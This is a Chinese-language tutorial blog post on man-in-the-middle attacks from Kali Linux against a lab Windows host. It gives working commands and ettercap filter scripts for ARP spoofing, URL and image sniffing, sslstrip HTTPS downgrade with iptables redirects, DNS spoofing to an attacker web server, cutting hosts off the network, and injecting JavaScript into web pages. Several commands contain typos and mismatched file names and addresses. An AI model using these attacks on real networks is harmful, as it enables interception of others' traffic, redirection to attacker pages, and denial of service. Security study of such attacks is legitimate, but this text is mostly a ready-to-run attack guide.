中間人攻擊(MITM)該攻擊很早就成為了黑客常用的一種古老的攻擊手段,並且一直到如今還具有極大的擴展空間,MITM攻擊的使用是很廣泛的,曾經猖獗一時的SMB會話劫持、DNS欺騙等技術都是典型的MITM攻擊手段.在黑客技術越來越多的運用於以獲取經濟利益為目標的情況下時,MITM攻擊成為對網銀、網游、網上交易等最有威脅並且最具破壞性的一種攻擊方式.
| 主機列表 | IP地址 | 網關地址 | 主機作用 |
|---|---|---|---|
| Windows 10 | 192.168.1.2/24 | 192.168.1.1 | 被害主機 |
| Kali Linux | 192.168.1.9/24 | 192.168.1.1 | 攻擊主機 |
抓取內網流量
該方法是最常用的一種攻擊方式,主要可以實現對內網主機發起ARP欺騙,從而截取內網主機的流量,但該方法只能截獲未加密的數據流加密后是無法破解的,以下例子將演示流量抓取與分析.
開啟APR欺騙: 首先在kali linux上執行以下命令,開啟ARP欺騙.
root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1// -q
-i eth0 #指定網卡接口
-T #文本模式顯示
-M #指定為雙向ARP欺騙
/192.168.1.2// #為要攻擊的IP地址
/192.168.1.1// #本地的網關地址
截取目標RUL: 上面終端不要關閉,啟用urlsnarf工具指定主機訪問的URL.
root@kali:~# urlsnarf -i eth0 |awk '{print $1 " ---> " $7}'
192.168.1.2 ---> http://www.mkdirs.com
192.168.1.2 ---> http://www.baidu.com/
192.168.1.2 ---> http://www.cnblogs.com/lyshark
截取目標圖片: 當然也可以使用driftnet工具截取指定主機的圖片流.
root@kali:~# driftnet -i eth0
## HTTPS降級嗅探
對SSL流量的嗅探,可以使用sslstrip這個工具,它的原理就是把所有的https流量降級為http流量,相當於一個中間人的角色,它與服務器建立正常的https連接,而與瀏覽器則使用http連接,使用時需要本機開啟流量轉發,將80端口的http流量同時轉發到10000端口上,在10000端口上使用sslstrip來監聽即可:
1.通過命令收集局域網的IP地址信息,和網關等.
root@kali:~# ifcofing #命令查看當前網關
root@kali:~# netdiscover #獲取到當前目標IP
2.開啟內核轉發功能保證攻擊過程中被攻擊者不斷網.
root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward
3.使用iptables把80端口的流量轉發到sslstrip監聽的10000端口上.
root@kali:~# iptalbes -t nat -F
root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
root@kali:~# iptables -t nat -A PREROUTING -p tcp -–destination-port 80 -j REDIRECT –to-ports 10000
root@kali:~# iptables -t nat -L
4.啟用sslstrip並啟動ettercap對目標主機進行arp攻擊.
root@kali:~# sslstrip -l 10000
root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1//
此時當用戶瀏覽的網頁中包含https協議,會被轉化為http協議的請求.但是sslstrip也不是萬能的,假如網頁中沒有https,但是js代碼綁定了跳轉到https的協議請求的事件,那么sslstrip就失效了.如果用戶打開網頁的時候請求就是https,會導致證書認證失敗,網頁一直打不開.
DNS局域網投毒
該配置主要用於實現控制局域網中網絡的訪問,例如可以指定將所有訪問baidu.com的請求轉到訪問192.168.1.9這台主機上,我們可以在這台主機上配合后門,這樣的話所有內網主機都會默認訪問我們的網址,從而實現局域網中網站頁面的重定向.
1.安裝並啟動apache服務程序,后期我們要將頁面跳轉到kali的http服務上.
root@kali:~# echo "hello lyshark" > /var/www/html/index.html
root@kali:~# systemctl restart apache2
2.通過使用netdiscover命令獲取到主機信息,這里主要來確定一下192.168.1.1是網關,而192.168.1.2為被攻擊主機.
root@kali:~# netdiscover
Currently scanning: 192.168.1.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.1 11:72:se:c7:se:af 1 60 TP-LINK TECHNOLOGIES
192.168.1.2 ac:3s:ca:xf:g1:w8 1 60 Dell Inc.
192.168.1.9 f2:1e:28:4e:4c:s4 1 60 kali linux.
3.配置跳轉地址,將所有訪問.com,.org的網頁請求,全部跳轉到本機的apache上.
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.8 netmask 255.255.255.0 broadcast 192.168.1.255 確認自身IP地址
root@kali:~# vim /etc/ettercap/etter.dns
################################
# microsoft sucks ;)
# redirect it to www.linux.org
#
*.com A 192.168.1.9 #添加跳轉頁面,意思是只要是.com結尾的,跳轉到本機IP
*.org A 192.168.1.9 #添加跳轉頁面,意思是只要是.com結尾的,跳轉到本機IP
microsoft.com A 107.170.40.56
*.microsoft.com A 107.170.40.56
www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed
4.開啟轉發,並啟動中間人攻擊,此時被攻擊主機訪問指定規則頁面,都會跳轉到我們的網站上.
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.2// /192.168.1.1// -q
root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /// /192.168.1.1// -q
## 禁止主機上網
1.編寫一個過濾腳本,下面的腳本名為lyshark.txt,內容如下.
root@kali:~# vim lyshark.txt
if (ip.src == '默認網關') {
kill();
drop();
msg("kill all");
}
if (ip.src == '被攻擊主機IP') {
kill();
drop();
msg("kill all");
}
2.編譯成ettercap可以識別的二進制的二進制文件.
root@kali:~# etterfilter lyshark.txt -o lyshark.ef
3.使用ettercap加載此腳本,欺騙全網段可以使用///代表.
ettercap -i eth0 -T -F lyshark.ef -M arp:remote /192.168.1.2// /192.168.1.1// // 欺騙指定主機
ettercap -i eth0 -T -F lyshark.ef -M arp:remote /// /192.168.1.1// // 欺騙全網段
向網頁注入代碼
該功能可以實現向網頁中注入特定的代碼.
1.編寫一個過濾腳本,下面的腳本名為lyshark.txt,內容如下.
# 攔截受害者發送的請求,將報文壓縮方式由gzip降級為不壓縮
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
pcre_regex(DATA.data,"(Accept-Encoding:).*([\r\n])","$1 identity$2");
msg("chage encoding");
}
}
# 對於服務器響應,向head中注入js
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "<head>")) {
replace("<head>","<head><script>alert('hello lyshark')</script>");
}
}
需要注意,這里要對請求頭的Accept-Encoding進行篡改,否則響應默認使用gzip編碼的,這樣我們直接注入明文js是無效的,將編碼方式降級為Identity,服務端會返回明文報文,同時客戶端也不會再對報文進行一次解碼.
2.編譯成ettercap可以識別的二進制的二進制文件.
root@kali:~# etterfilter lyshark.txt -o lyshark.ef
3.使用ettercap加載此腳本,欺騙全網段可以使用///代表.
ettercap -i eth0 -T -F ig.ef -M ARP:remote -w network.pcap /192.168.1.2// /192.168.1.1//
替換頁面數據
1.以下腳本可實現將頁面中所有img src=相關的圖片全部替換成,指定網址中的圖片.
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
replace("IMG SRC=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
msg("Filter Ran.\n");
}
2.編譯這個文件.
etterfilter exe.filter -o exe.ef
3.使用ettercap調用過濾腳本發動ARP攻擊毒化目標主機的ARP緩存
ettercap -Tq -i wlan0 -F exe.ef -M arp:remote /192.168.1.9/ /192.168.1.1/
